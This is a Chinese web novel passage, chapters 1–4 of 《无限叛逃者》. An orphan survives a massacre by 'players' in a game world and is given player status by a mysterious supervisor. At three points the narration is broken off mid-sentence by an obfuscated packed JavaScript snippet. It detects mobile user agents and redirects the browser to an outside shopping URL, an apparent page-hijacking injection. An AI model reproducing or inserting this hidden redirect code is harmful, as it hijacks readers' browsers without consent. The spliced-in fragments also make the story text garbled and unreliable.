《无限叛逃者》 1. 第 1 章 “你知不知道,我们这个世界其实是个游戏,不是真的。” 白云的阴影从被阳光晒透的柏油马路上轻缓飘过,天空湛蓝得要灼伤人眼睛。燥热的风拂动浓郁绿叶,漫长的蝉鸣拖得一声比一声长。 这是寻常夏日的一个午后,和过往十七年的每个夏天如出一辙。少年人在天台俯瞰城市的倒影,看一个个忙碌的人生被浓缩成无数米粒大小,撒进纵横交错的街道,散进大街小巷。两人百无聊赖地咬冰棍,用沁凉的甜意消磨这个漫长又枯燥的暑假。 江其深记不清他当时是怎么回答的这句话了,多半是不以为意。 王苏经常有很多稀奇古怪的想法,也常说很多莫名其妙的话。比如“天空之外还有天空,但是不对人类开放” “古代人和现代人已经不是一种人了” “其实我们每个人都活在不同的世界,只是能彼此看见,所以误以为大家生活在一起”诸如此类,让人根本听不懂的话。 江其深从小和她一个孤儿院长大,十几年的发小,对此习以为常。哪天她不说这种话了,江其深才会觉得有问题。 所以,最初听到这句话时,江其深并没放在心上。 而等王苏失踪,那群自称为“玩家”的人闯入他的世界,以人类思维无法理解的事件不断打破他的三观时,江其深才慢半拍地回忆起那个午后,那句话的后半句—— “但我们都是npc,我们不是玩家。所以,我们会被困在这里,一辈子都走不出去这个夏天,走不出这个无聊的小城。” 江其深眼前是一望无际的尸山血海。 黑压压的云幕倾天盖地,血红色的日光从云层缝隙间泼洒下来,昔日晴朗干净的小城像是裹上一层厚重的黑色油漆,沉到黑暗的阴影中。 街道上血流成河,能看见的地方,都堆满人的尸体。灌木丛、长椅上、柏油马路上,天空闷雷轰隆隆压过,江其深的呼吸有些颤抖,口鼻涌入铁锈味的空气,腥得呛人。 江其深抬起脚,鞋底糊上一层黏答答的浓稠血迹。缓慢浸染原本干净的白色鞋子。 他本能地恶心想吐。任何一个正常人都无法接受这样的场景刺激,神经触电般剧烈紧缩,脑海里像有无数触手搅弄,他忍住呕吐的冲动,几乎要怀疑自己眼睛。 明明就在一刻钟以前,自己还背着包走在正常的马路上,因为王苏的失踪奔波好几天没有睡好觉,实在困得不行,到公园长椅上合眼休息了一会儿。 再醒来,这座城市已经死了。 怎么会这样? 强烈惊恐下,大脑运转的速度要比平时慢许多,江其深强迫自己冷静下来,立刻想到了孤儿院的大家不知道现在如何。 江其深自小在孤儿院长大,院长是位和蔼亲切的老太太。他十六岁离开孤儿院后还能继续上学,离不开院长的资助。对于没有亲人的孤儿来说,院长就像他的亲人,一起长大的孤儿院的孩子就像他的手足。他们还活着吗?有没有被这桩惨剧波及? 江其深顾不得别的,立刻向孤儿院的方向赶去,飞奔的脚步溅起血红色的水花,鞋子和裤脚完全染透,恶心的粘腻感就像有阴森的虫子贴着他的皮肤在爬。但他一步都不敢慢下来。 王苏失踪后,他还剩的“亲人”就只有孤儿院的大家了。 你们千万不要出事啊。 他不顾一切地向前跑,跑得小腿肌肉隐隐抽搐,肺腑灌进腥臭血味儿,心脏几乎跳出胸膛,他不敢停下来看自己脚下的路,不敢细想踩过的黏软触感的东西是什么,城市寂静的连鸟鸣都没有,四野之中,只有他自己的心跳在耳边震荡,“扑通、扑通”,像老旧挂钟的倒计时。 他的目光紧紧锁在路的尽头,两侧不断有楼房出现、滑过、消失,都不是他要找的那座。 他要找的建筑是一栋漂亮的小洋房,三栋矮矮的房屋,屋前屋后都有院子,院子里种着漂亮的花草和瓜果,养了一窝兔子和两只小狗。后院有彩色的滑梯和秋千,院墙画满孩子的涂鸦。护工带着年幼的孩子们,在窗明几净的娱乐室摆积木、拼拼图,大一些的孩子结队去上学,放学聚在图书室,消磨家庭作业。 到了饭点的时候,食堂飘出浓郁的香气,院长吆喝吃饭的声音响起,灯光点亮夜幕,二十几个孩子聚在宽敞的餐桌前,桌子上摆满丰盛的晚饭,锅里的米饭是永远够吃的,菜不需要抢,每一顿都可以吃得很饱。 他有记忆以来就住在那里,和许许多多的孩子一起,他们是朋友,也是彼此最亲近的亲人。 江其深赫然停下脚步。 三栋建筑的小洋房死气沉沉停在视野的尽头,只有一个模糊的影子,影子是血红色的。江其深的腿像灌了铅,僵硬的抬不起来,拖着一步步挪向房子。 小洋房逐渐放大,墙壁上遮盖了涂鸦的血迹和散落在院子里的碎肢残肉也逐渐清晰,熟悉的衣服碎片黏在地面上,江其深强迫自己不要去分辨那是谁的衣服,他心中升起巨大的惶恐,像一只断线风筝,被死亡的恐惧吞噬得无影无踪。 “院长……?” 声音很低,已经不抱任何希望了,江其深停在院子里,不敢再迈出一步。 他意识到,自己怯懦地不想看到任何一个人的尸体,他害怕看见那些有着灿烂笑容的亲人,以扭曲残破的死相画上句号。 “院……” 或许是本能的求救,江其深不知道自己还能喊谁,他大脑麻木,四肢冰冷,关节“嘎嚓嘎嚓”地颤抖,发出群蚁啃噬般的响声。 “你怎么回事儿?情报到底准不准啊!” 一声嘹亮的男声炮弹一样在死寂的院子里炸开,给江其深混沌的思维炸开一丝清明的裂缝。 还有人活着! 震惊之后萌生出绝处逢生的喜悦,喜悦还没蔓延开,就听到下一句: “你急什么?得把这个《小镇诡事》副本里所有会喘气儿的都杀完才行,指定是漏了谁了……你别愣着啊,再检查检查去,等小胡的道具CD好了,咱们再从城东开始重新屠一遍街呗……多屠几次,指定鸡犬不留。” 江其深如坠冰窟,喉咙瞬间封住,他听着脚步声越来越近,顾不上多想,扭头钻进楼梯下的杂物室。听见那两个脚步声越来越近,停在杂物室门口。 “那要等到什么时候去?那小子的道具CD时间太长了,万一被‘那些人’发现,我们就死定了。” “所以别浪费时间,我们多扫几个地方,指不定能先抓着漏网之鱼……哎,你看看,这里头能躲人不?” 江其深的心跳漏了半拍。隔着一扇薄薄的木板门,两个人的声音近的就像贴在耳边。杂物室是收扫帚和卫生用具的地方,只有几层隔断,打开门,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529123|203659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一览无余。 “行啊,那我开门看看。”炮弹般的男声粗声粗气道。 “你看看吧。”细一些的男声道。 江其深极力把自己蜷缩成一团,一手握着扫帚,手指微微发抖,他像一只蓄势待发的豹子,咬紧牙关,打算等门缝亮起光的一瞬间,抢先一步杀他们个措手不及。 他听不懂这些人在讲什么,但是很明显,他们是惨案的凶手,知道这座城发生了什么,也一定不会放过自己。 手握上门把,漆黑的杂物室,江其深的心跳蹦出嗓子眼,薄薄的木板门“砰噔”一响,他应激地向前一俯冲,却发现门没有开。 门外,传来细微的呻吟声:“啊、你……” “呸!想骗我?可惜我早就打探清楚了,只有副本里最后活下来的一个人才能获得‘礼物’。这个‘人’恐怕指的不仅是npc,把玩家的数量也包括在内了吧?” 纤细的男音含恨道:“原来你知道了……” “小胡技能在CD,没法自保,你把我解决了,再杀了小胡,你就是最后的赢家!”炮弹男声冷冷笑道,“算计得挺好啊……你是想趁我进杂物室里头的时候对我下手吧?你的技能太阴了,我不防不行啊。” 接着又是几声刀剑的声音响起,呻吟的男声痛嚎后彻底消失,门外只剩那个炮弹男声。 “喂?小胡?集合?好啊……哦,我和他走散了,嗨,那家伙心眼鬼多,谁知道干什么去了……咱俩先聚头,我把坐标同步给你,你用道具直接传送过来吧。我没收到‘礼物’,估计有漏掉的npc,咱俩还得扫扫街。” 江其深手心出了一层黏汗,他看了看手里的扫帚柄,死里逃生后,镇静地开始思考两个人的对话。 Npc、CD、道具、副本……这都是游戏里常用的词汇。他们用这些词汇的含义是什么?难道把现实和游戏搞混了吗? 莫非撞上了神经病杀人犯团伙? 不对,能在这么短时间内酿成屠城级别的案子,治安系统连应对的时间都没有,普通神经病绝对做不到。而且对方说“用道具”传送过来“……什么意思?是神经病把某种交通方式当成游戏里的道具,还是他们团伙里的黑话? 江其深小心翼翼地挪动自己的身体,蜷缩到外侧的角落里。他自小在这座孤儿院长大,对这里的一草一木都极为熟悉。小时候经常和王苏还有朋友们在孤儿院捉迷藏,这座杂物室是捉迷藏的风水宝地,他记得,在外侧木板隔断下,有一处老鼠洞,可以看见外界的情况。 他小心翼翼挪动隔断上摆放的清洁工具,蜗牛一样不发出一点声音。果真发现被护工用纸糊上的老鼠洞。他艰难吞咽一下,用手指一点点旋开糊指,钻出一个圆圆的洞。 而后他凑上去,借着这个洞,观察外边的情况。 走廊没有开灯,窗外乌沉沉的天空透出血色的光线,勾勒出高大壮硕的男子轮廓,他衣装很奇怪,是一身现代人的衣服,身后却背着一柄巨大的斧子,斧子足有半人高,装饰着华贵的宝石,泛起奇异的金属色泽,前端笼罩微弱的光芒,有如萤火虫一样。 斧子怎么会发光? 江其深正在疑惑,男人忽然转过头,两人视线撞个正着,男人目光刀子一样扎进来,江其深猛地向后一弹,浑身血液凉透。 被发现了! 2. 第 2 章 他不作他想,迅速抄起扫帚,随即想到男人背着的巨大斧子,沉默一秒,转而从隔断上抽出一把剪刀。 剪刀的前端很钝,因为孤儿院的孩子多,护工怕孩子们误伤,尽量不留有尖锐物品,这把剪刀钝到就算用来剪纸片一类的东西都要剪好几次才能剪开。跟巨大的斧子比起来,就像老鹰面前的小鸡仔。 但它是这座杂物室里唯一的金属物品,比纤细的木扫帚更有攻击性,在生死攸关的时刻,能给人一点安全感。 江其深再度屏住呼吸,等着门开的瞬间,然而下一刻,门外传来“嗤啦”的奇怪声音。 江其深鼓起勇气,试探性地重新靠近戳破的纸洞。一束昏沉的光打在他眼睛上,漆黑的眼珠咕噜一转,落在门外男人宽阔的脊背上。 那男人拿着一瓶药水,仔细地洒在死去男人的尸体上,药水接触尸体的瞬间,人体组织像被融化一样流了满地,顺着木制门板的缝隙流进储物室,恶心的味道直冲天灵盖,江其深差点被熏晕过去。很快,融化成的尸水逐渐变得透明,清澈如清水一般,再然后,就真的像水一样无色无味,顺着地板缝隙渗透下去,消失的无影无踪。 这是什么东西?这帮人是什么人?! 门外的男人化掉尸体,耳机亮了一下,他随手拍开扩音,朗声道:“怎么了小胡?找不到路了?” 对面一片沉默,传来无信号的收音机般的噪音。 “喂?喂?”男人又喊了好几声,对面还是一片沉默,男人正纳闷呢,灰色的噪音忽然截断,死一般沉默的寂静中,传来一声低低的男声轻笑。 那声音像鬼一样,虚无缥缈,在昏荡荡的诡异气氛中,若无其事地勾了一下人的心弦。 江其深胸口忽然泛上一股沉闷的苦涩,像堵满浸了水的棉花,又沉又涨,他听得喉咙发紧紧绷的情绪骤然一松。男人意识到了不对,试探道:“……小胡?你那边没出什么事吧?” 通讯挂断了。男人原地打转几圈,还觉得一声笑声说明不了什么,他无法忍受到手的鸽子的诱惑,是决定还照原计划。细音男人的尸身融化了,随身携带的道具和衣物还散在地上,被小胡看见不好解释,得藏起来。 男人随手把道具捡起来,打开储物间,丢衣服的手停在半空,和拿剪刀的少年面面相觑。 江其深率先反应过来,一脚踹在男人脸上,但是两人体格悬殊太大,男人的身体只是晃了晃,江其深借踹出的一点距离挤出储物间,埋头狂奔。 “哪儿跑!” 暴喝声随着斧子破空之声从后传来,江其深压根不敢回头看,只能依靠听声辩位躲避劈砍. 这斧子绝对有鬼。劈砍的刀气像是飞镖一样旋出来,这玩意儿会追踪人,江其深亲眼看着它从自己右肩上方砍了个空,飞到自己眼前,打了个旋儿,紧急拐弯,当面斩来。 江其深来不及骂人,脚底一滑,咕噜噜顺着楼梯滚下去,刀气砍进墙里,墙壁留下深深的痕迹。 这一下躲得太险,脚腕扭到了,但他不敢停,滚落到地面上的同一瞬间立刻爬起来,推开窗子直接翻了出去,身后窗子发出碎裂的声音——应该是帮他挡了一斧子。 江其深闷着头向院子里冲,但说实话,他并不知道自己要逃到哪里去。身后跟着一个屠城的杀人魔,如果没有意外,自己是这座城市唯一的幸存者。他还能逃到哪儿去?还有谁能来救他? 江其深感到深深绝望,他已经得知了自己必死的结局,却本能地挣扎,身后传来男子猖狂的大笑:“你想跑哪儿去?没有用的,这个世界的npc都被我们杀光了,你活不了了,不如乖乖认命,我给你个痛快!” 江其深不想死。他不知道这个人从哪儿冒出来的,为什么有这么多稀奇古怪的东西,能做出这种匪夷所思的事,但是他不想死。他只能继续跑。 冲出院子,血腥的街道空无一人,天空轰隆隆闷雷炸响,阴风乍起,吹得人毛骨悚然。江其深竭尽全力逃窜,体力飞快流失,他绝望地听到身后脚步越来越近,对方甚至开始游刃有余起来,笑声猖狂肆意,好像要看看这只毫无反手之力的猎物能玩出什么花样。 江其深飞速检索街道附近的店铺。再往前是一家大型地下商超,如果绕进去恐怕会被堵截,商超附近是一条餐饮店和服装市场。 不是,都不是…… 江其深不擅长体力运动,接连不断的奔跑下来觉得大脑缺氧,他依稀记得这附近有一家加油站,位置有点偏僻,只要能撑到地方,就可以想办法制造爆炸,解决这个追击者。 他在脑中飞速计算加油站的距离,道路尽头出现加油站的轮廓时,仿佛看见希望的曙光,不顾一切向目的地冲去,就在此时,身后的脚步终于提快了速度。 “打算炸死我?想得挺美的。” 紧接着他双腿一阵剧痛,身子向前一跌,整个人重重砸在地上,手臂和脸颊擦着地面,滑出去四五米远,撩起一片火辣辣的疼。 江其深摔懵了七八秒,眼前直冒雪花,他想要爬起来,双腿根本使不上力气,低下头,阵阵发黑的视野里,小腿上的斧伤血流如注。 或许是死亡的恐惧所迫,江其深一时没有感觉到有多疼,他的注意力全集中在拎着巨斧赶来的男人身上,脸色苍白。 他的身躯像小山一样,挪动过来,压得人喘不过气。江其深的呼吸发颤,是因为恐惧,也是因为疲惫。 男人“哈哈”一笑:“还挺能跑,可惜老子没空陪你玩了。” 话音未落,斧子举起,江其深动也不动,咬紧牙关盯着男人,他的机会只有一次,只有戳中要害才能争取到存活的机会。就在他攥紧剪刀将要扑上的前一刻,男人的身影突然顿住,他的视线越过江其深,停在他身后,神色一变。 同一时刻,江其深明白了他僵住的原因。 最后一声雷响,雨终于下了下来,猩红色的雨滴铺天盖地,刺骨的寒意呼啸着从远方奔来,空气好像凝结成透明的冰块,关节冻得僵硬,无法动弹。 仅仅是瞬息的功夫,他的呼吸就带出了白色的雾气,指尖也结出一层冰霜,那血色的雨水滚烫,像和着谁的体温,溅湿头发和睫毛,江其深视线模糊,听见空旷天地间,硬底鞋跟敲击潮湿路面的回声,“笃、笃”,钝钝的,像某人生命的倒计时。 黑黢黢的街道上,冷蓝色的霓虹灯照亮猩红血雨。街道的尽头,一个黑色纤长身影从幽暗阴影中脱出。走近灯下,才看清样貌。 那是个很奇怪的人,他一身黑色的西装,长发披散,手执一把油纸伞。剑拔弩张的诡异气氛中,男人单手揣在兜里,闲庭信步,好像逛街一样。 “你……”斧子男声音发颤,“小胡被你杀了。” 不是疑问句,他很确信这一点。男人的脚步停在三米以外,江其深才得以看清他的样貌,五官简直可以用“妖异”来形容,眼尾一颗泪痣。就连笑,也让人觉得他要落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“我么,是这个游戏的监察。专门负责处理像他们这样想要利用系统bug占便宜的、不守规矩的玩家。”男人声音懒懒的,说到这,顿了顿,好像懒得继续说了,于是道,“更多的,你有的是时间了解。别拿自己不会使用的东西,把剪刀放下,先起来吧” 江其深还是一头雾水,什么游戏?什么规则?什么监察?每个字他都听的明白,但结合在一起完全听不懂。 “我起不来,我腿受伤了……” “哦,”对方声音冷漠,没有丝毫伸出援手的意思,“继承玩家资格可以在商城购买药水。” “什么玩家资格……” 话没说完,“叮”地一声,江其深面前闪出一个的对话框,框内蓝色的小圆盘滴溜溜转。层出不穷的对话框接连闪现,令人应接不暇。 【正在输入玩家个体信息……】 【玩家信息载入完毕】 【为玩家解锁游戏副本权限】 【为玩家解锁游戏商城】 【为玩家解锁分区主城地图】 【正在开启玩家技能栏】 【正在开启道具背包】 【正在开启论坛权限】 …… 男人懒散而冷淡的声音响起:“算是游戏系统的一个小bug,当一个副本只剩最后一人存活时,此人默认拥有玩家资格,将以玩家身份进入游戏。” 和此声音一同出现的,是江其深视野内弹出的最后一个对话框。 【资源载入完毕。欢迎来到无限游戏世界,3222分区注册玩家9277714256号:江其深。】 3. 第 3 章 最后一个对话框消失,展现在江其深面前的,是他从未见过的世界。 他的视野四周出现了莹蓝色的游戏面板,背包栏、好友列表、积分数额、面板数值、商城入口……就像某种AR游戏,面板可以一键隐藏,也可以同时点开多个面板。 面板本身半透明,不会遮挡视野,可以随背景颜色的变化而变化,自动变成醒目的颜色。江其深所在的环境光线昏暗,漆黑一片,莹蓝色的面板转瞬变成白色。 江其深试着想象点击人物面板,果真弹出人物面板的对话框。 【ID:江其深 玩家等级:E 天赋技能:无法识别 绑定道具:无 归属队伍:无 注册时间:系统纪年216年3月19日】 崭新的面板,比他兜还干净。 府乐天收起油纸伞,伞面绘着精致的彼岸花花纹,仔细看就会发现,彼岸花的花瓣是由无数血淋淋的骨爪组成的,骨爪或曲或张,伞面边缘洒金,伞身通体漆黑,质感如玉。 松手的一瞬,油纸伞消失无形。江其深猜,这可能是他的“道具”,就像那个男人背着的斧子一样,现在收入游戏背包中了。 府乐天微微歪下脑袋,好似在观察江其深的微表情:“在想报仇的事吗?” 江其深道:“他们不是已经死了吗?你说我是唯一的幸存者。” 府乐天微微点一下头,江其深没有捉摸清楚他的意思,就听对方道:“玩家死亡率大于百分之九十的副本会被系统封存,封存前快点离开吧。否则就出不去了。”说完返身要走,江其深连忙喊道:“等等!” 西装男人用意味深长的目光看他,好像在等他开口,说出他预料之中的话。 “你……你有积分吗?” “?” 显然府乐天预料的不是这句话,但是江其深管不了这么多,他一鼓作气:“我是新注册玩家,你知道的,我的账户积分显示是0……买不了药水,商城的药水要100积分一瓶。我的腿伤成这样,爬不起来,你能不能借我点积分?我可以以后还你……” 其实江其深不知道积分要怎么赚,但是先活下去再说。这番言辞出乎府乐天的意料,他当了这么久的监察,头一次见到玩家问监察借积分:“你知不知道多少玩家见到监察退避三舍,你居然还敢借积分?” 江其深也不想借,但是新玩家没积分换药水,他总不能在这里等死吧?和好容易捡回来的命相比,脸皮算什么,“那你借不借……别笑了!” “你这样的玩家很少见,”府乐天来了兴趣,他微微侧头,长发滑下肩膀,“真是初生牛犊不怕虎,借你积分,我有什么好处?” “你应该不想我死吧?”江其深道,“你也说了,我继承的玩家身份是利用系统的bug,你作为游戏监察,见到利用bug获取玩家资格的人不杀,还指点我换药水尽快离开,说明你其实希望我活下去。” 府乐天的神色顿了顿。没想到这个人不想看上去那样傻乎乎的。三言两语的信息就能分析出他的想法,倒是个聪明人。 “虽然我不知道你为什么会帮我,但既然你冒着渎职风险放我一条生路,应该不会看着我白白死在这。何况我看游戏商城里的价格排序,兑换药水所需要积分并不多,属于最初级的兑换商品,说明这不是很重要的东西,重要的忙都帮了,不如好人做到底——” 府乐天眸光深沉,他打断道:“你有点小聪明,但这件事,除了你我,不该有第三个人知道。” 看来没猜错,他的游戏名额是违背系统规则的。江其深没有继续问府乐天为什么这么做,他目前最重要的目标是保命,不是探究这个男人背后的秘密,于是道,“我明白,你需要我做什么?监察的积分和人情,我都可以还。” 他不觉得这种见惯杀戮的人会无来由的随便一发善心,饶他一命。府乐天眸中有了欣赏的神色。进退有度、头脑清晰,是个可用的人:“诚如你所说,监察的人情不好还……” 说话间,“叮”一声,划款到账,江其深的积分从0增长到1000。他愣了一下。 “所以,多买点道具。我要你进入一个A级副本,听我的指令,为我做事。具体情况,我在副本中会联系你的。” *** “我们这个世界是一个巨大的游戏。江其深,其实我们都是游戏里的npc。这是我们过的第三百七十二个暑假了,等那些玩家通关离开后,我们会开始第三百七十三个暑假。我们的真实寿命只有副本开放的这十五天。除此之外,你的记忆、我的记忆,都是系统植入的信息而已。我们都是假的。” 女生的身影恍惚晃动,直到残梦消失,声音都还萦绕耳边,江其深睁开眼。 他身处一个看上去很普通的小公寓,屋内大部分家具是暖色木制结构,深色地板,窗户边种着一株绿植。早晨的阳光从窗户外撒进来,和真实的阳光没什么区别,江其深愣了几秒。 他摸了摸自己的腿。双腿完好如初,根本看不出曾经受过伤的样子。 虽然那个古怪的监察借了积分给他,但是购买的药水没有派上用场,退出游戏后,他的腿就自动恢复健康了。游戏系统自动将他引入现在身处的这套游戏家园系统。 这里是游戏给玩家提供的栖身之所,原本是一片白色的空间,可以由玩家在商城购买家具自由建设。江其深积分有限,不打算花费在这上,选择了初始模式,就是这栋小公寓的样子。 经历昨天一遭,江其深已经做好开启变态血腥游戏的准备了。没想到这个游戏还有人性化的一面。在身心安全的情况下,他得以好好思考复盘昨天发生的一切。 府乐天自称是游戏检监察,负责监管玩家的逾矩行为。根据江其深听到的,巨斧男人和他的同伙似乎是准备卡游戏的bug,打算获得“礼物”一类的东西。 礼物具体指什么,江其深不太清楚,但他的角色定位很明显,是副本中炮灰献祭的npc,若不是误打误撞活了下来,根本没有游戏的资格。 死亡率过高的副本会进入封存,所有资料和人物都无法再接触到。这对江其深来说不是一件好事。在这帮玩家大开杀戒之前,他正在调查自己发小王苏的失踪之谜。 像他们这种孤儿,朋友不多,没有亲人,孤零零的活在世上,只能彼此相依为命。倘若某天忽然消失,可能连挂念的人都没有。就像一滴水蒸发在空气中,了无痕迹。 江其深不想成为水滴,也不想王苏成为水滴,不想他记忆中的任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529125|203659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何人成为水滴。 他想在游戏世界活下去,因为如果他死了,就再也不会有人知道,这个世界是曾有一个温暖的孤儿院,有一群没有血缘关系的亲人,互相扶持长大。 他会将每个人的面容永远锁在自己的记忆里,活成一座移动的墓碑,直到墓碑也被人遗忘。 江其深调动意识,游戏面板再度出现在视野里。积分余额900,好友列表由0变成1,江其深点开列表,只见一个匿名头像孤零零挂在列表里,id是系统默认的“管理员01”,无法查看个人信息和删除好友,看样子更像系统附带的游戏助手一类的东西。 但这不是游戏助手,是府乐天。监察的游戏面板和玩家不一样,好友信息也很特别。 二人的对话界面只有一条信息,是府乐天发的:【三日之后,公共地图A级副本入口通道,副本:一二三木头人】 奇怪的副本名字,他在心里反复默念了几遍信息后,消息框消失,对话框空荡一片。 离进入副本还有三天,他需要更多了解在这个游戏,起码要搞清楚游戏规则,活着走出游戏副本。 江其深走到厨房,打开冰箱,冰箱储存的食材很丰富,什么都有。他随便挑了一盒牛奶,拿了一盒蘑菇和黄油,加上在柜子里找到的意面,打算给自己煮点奶油意面吃。 他厨艺不错,在孤儿院的时候经常帮厨,一人能做八菜一汤。一边分心翻游戏面板,一边下厨,差不多在意面煮熟时,逛完了游戏商城。 可能是因为他的玩家等级过低的原因,商城的大部分商品对他不开放,图标呈灰色,道具名称是星号。第十页以后更是无权限浏览,根本点不开页面。在数量有限的可选购商品中,大部分标价四位数,标价在900积分以内的道具总共不过十来样。 看来自己可选择空间没多少,这900积分得精打细算地花。如果副本内可以打开商城,就没必要提前购买道具。 他退出商城界面,打开论坛界面——想获取信息,还得来这种地方。 刚进入论坛,就被一排红色大字加感叹号的标题晃瞎了眼。 【谁能管管这群黑玩啊?!杀人越货无恶不作!还有没有天理了啊!!!!我的道具又被抢了!!!】 江其深点进去,下边跟楼的多半是安抚性言论。 【习惯就好,黑玩老爷们脾气暴,能活着出来吐槽已经算你命大了】 【这边建议直接联系监察,监察想必很乐意帮你这个忙】 【最近黑玩越来越多了,很影响游戏公平性】 【这游戏哪来的公平性?你看看那帮s级玩家比黑玩有过之无不及……】 【人人骂黑玩,人人都想当黑玩】 专业名词太多,看不懂,只能感觉到“黑玩”这是众人集火攻击的对象。江其深将页面关掉,一边吃意面,一边找新手答疑区。 很快,他找到了新手答疑区。新手区的帖子很少,除了系统置顶的几个科普帖外,没有人发言。江其深有点奇怪。这个游戏的新手这么沉默?不抱团不求带的么? 点进科普帖,他就明白了为什么。 第一个科普帖,是游戏的介绍,标题醒目而简洁: 【这是一个可以实现你所有梦想的游戏。】 4. 第 4 章 这是一个可以实现你所有梦想的游戏。 你是否厌倦了平庸的自己?讨厌囚笼般的生活?受够被剥削压榨暗无天日的未来? 是不是有心愿却无法达成,心怀壮志却苦于命运的捉弄?是否对现在的一切感到厌倦、无望、痛苦? 想要人生的主动权握在自己手里吗?想要过上梦想中的生活吗? 给你一个重生的机会,从游戏开始,按照你的心意,重塑你的人生。 无论你想要寿命、健康、钱财、美貌、名声、权势、忠诚体贴的爱人、聪明绝顶的智商、永远不会离开的朋友、无条件爱你的家人……一切一切,只要你想得到,都可以通过游戏获得。 通关副本,获取积分,就可以兑换你的心愿。自定义你的人生。 欲望是通向王座的阶梯,贪婪的人才能拥有世界,释放你的想象力吧,你所有的愿望,将由游戏替你实现。 “自定义人生……” 真是一个充满诱惑的词。江其深想到失去的孤儿院的亲友。如果积分可以兑换一切,是不是也可以把他失去的生活兑换回来? 或者,兑换一个更好的……父母健在、幸福童年的人生? 等等,既然真的随便自定义,那也可以选择成为商贾之子、豪绅后代、书香世家或者官宦子弟什么的吧?如果再贪心点……那岂不是只要积分足够,玩家甚至可以成为世界的中心? 难怪说“欲望是通向王座的阶梯,贪婪的人才能拥有世界”,恐怕没人能拒绝这些吧。 在现实中,人有心愿,却不知道该如何实现。追求完美爱情的人可能遭遇背叛,为工作鞠躬尽瘁的人可能会被事业抛弃,幸福美满的生活可能被病魔破坏,志得意满的人生也可能半途夭折。在未来面前,一切都脆弱不堪,想要以一己之力获得理想人生,听起来像是痴人说梦。更遑论那些受困于出厂条件,一生也无法跨越阶级的人了。 但在游戏里,一切都变得很简单——只要通关游戏,获得积分,点点兑换键。想成为什么样的人,拥有什么东西,只在一念之间。 真是诱人。 江其深关掉帖子,打开下一个。下一个帖子介绍的是游戏规则。等把碗筷放到洗碗池里,洗干净碗筷,游戏规则也差不多看懂了。 这个游戏的副本分为A、B、C、D、E和S六个等级,玩家通过挑战高等级副本,可以提升玩家的等级。 比如江其深现在一个副本都没有进过,就是E等级玩家。接下来进入A等级副本,如果挑战成功,出来后就是A等级玩家。 等级越高的玩家,权限越高,解锁的游戏功能越多,可以获得的副本奖励越丰厚,包括且不限于高积分和副本掉落的稀有道具。积分相当于游戏里的通用货币,可以用来购买道具、和别人交易。也可以用来解锁商城的心愿页面。 不同的副本,玩法不一样。难度随着等级的提高而提高。每个副本的玩法规则是独立的,进入副本后才能知道。 这就有点麻烦了。江其深本以为是游戏就会有攻略,但就论坛的交易版面来看,除了部分C级以下的简单副本可以通过交易市场从玩家手中买到攻略,其他副本的攻略都是有市无价。 大致搞清楚规则,江其深关掉新手页面。奇怪的是规则介绍里没有“黑玩”和“监察”的相关信息,连字都没有出现。 江其深在心里画了一个问号。转而点进论坛日常吐槽区。 【啊啊啊啊进本匹配到楚歇了!全员幸存!!呜呜呜我这辈子的好运气都耗完了!S级玩家的含金量还在上升!】 【谁懂啊,明明不是竞技本,玩家却非要互坑的无助感,还好活着出来了……否则我做鬼也不会放过你们这群蠢货的】 【为什么悬赏榜第一的价格提高了20万,想知道时光又干嘛了,这身价涨得比坐火箭还快】 【换道具换道具换道具!没有绑定过的A级副本掉落道具,疗愈属性无次数限制,只接受同级及以上道具交换,走黑市,不包手续费,感兴趣私戳】 【黑市盲盒又开失败了……花了80万开出一口锅,作用是把熟的食物变成生的……我请问呢???严重怀疑开出神兵的盲盒帖都是骗局,好难过,求安慰。】 【好纠结重要道具到底该不该放家园系统,想带着防身又怕会被黑玩抢走……】 …… 江其深随便戳开几个帖子看了看,没什么对下本有用的信息,关掉论坛。 他还不清楚府乐天想要他进副本做什么。依照他透漏的意思来看,监察负责监管玩家的一举一动,掌握玩家的生死大权,和玩家是两个水火不容的群体。 他想利用自己做什么呢? *** 三天的时间,江其深还没来得及完全熟悉游戏的系统,就到了要进入副本的时间。 公共地图A级副本的通道入口有很多人,有些准备进去,有些是要出来,还有些犹犹豫豫。不知道要不要进。 江其深打开副本选择界面,看见了府乐天所说的【一二三木头人】的副本,A级以上副本信息对外保密,从外表看不出什么头绪。 “现在,可以进副本了。” 消息框突然弹出,指令一样的文字,江其深收起游戏面板: “遵命,监察大人。” *** 【正在进入副本……】 【副本名称:一二三木头人 您的通关任务:活到一切结束之时 奖励:MVP 30万积分,通关玩家20万积分】 睁开眼,周遭深山老林,黑黢黢一片,树林如一颗颗细瘦鬼影,在风中扭动摇摆。山林深处,一点幽微的灯光像是吸引飞蛾的陷阱,忽明忽灭。 风吹过人的耳朵,细细簌簌的声音像鬼声低语。江其深身上起了一层鸡皮疙瘩,他正打算驻足观望一会儿,忽然听到黑暗里传来沙哑的声音:“客人,您怎么跑到这里来了?” 一张老到皮肤下坠的面孔突到面前,江其深心脏猛地一停,好险背过气去。 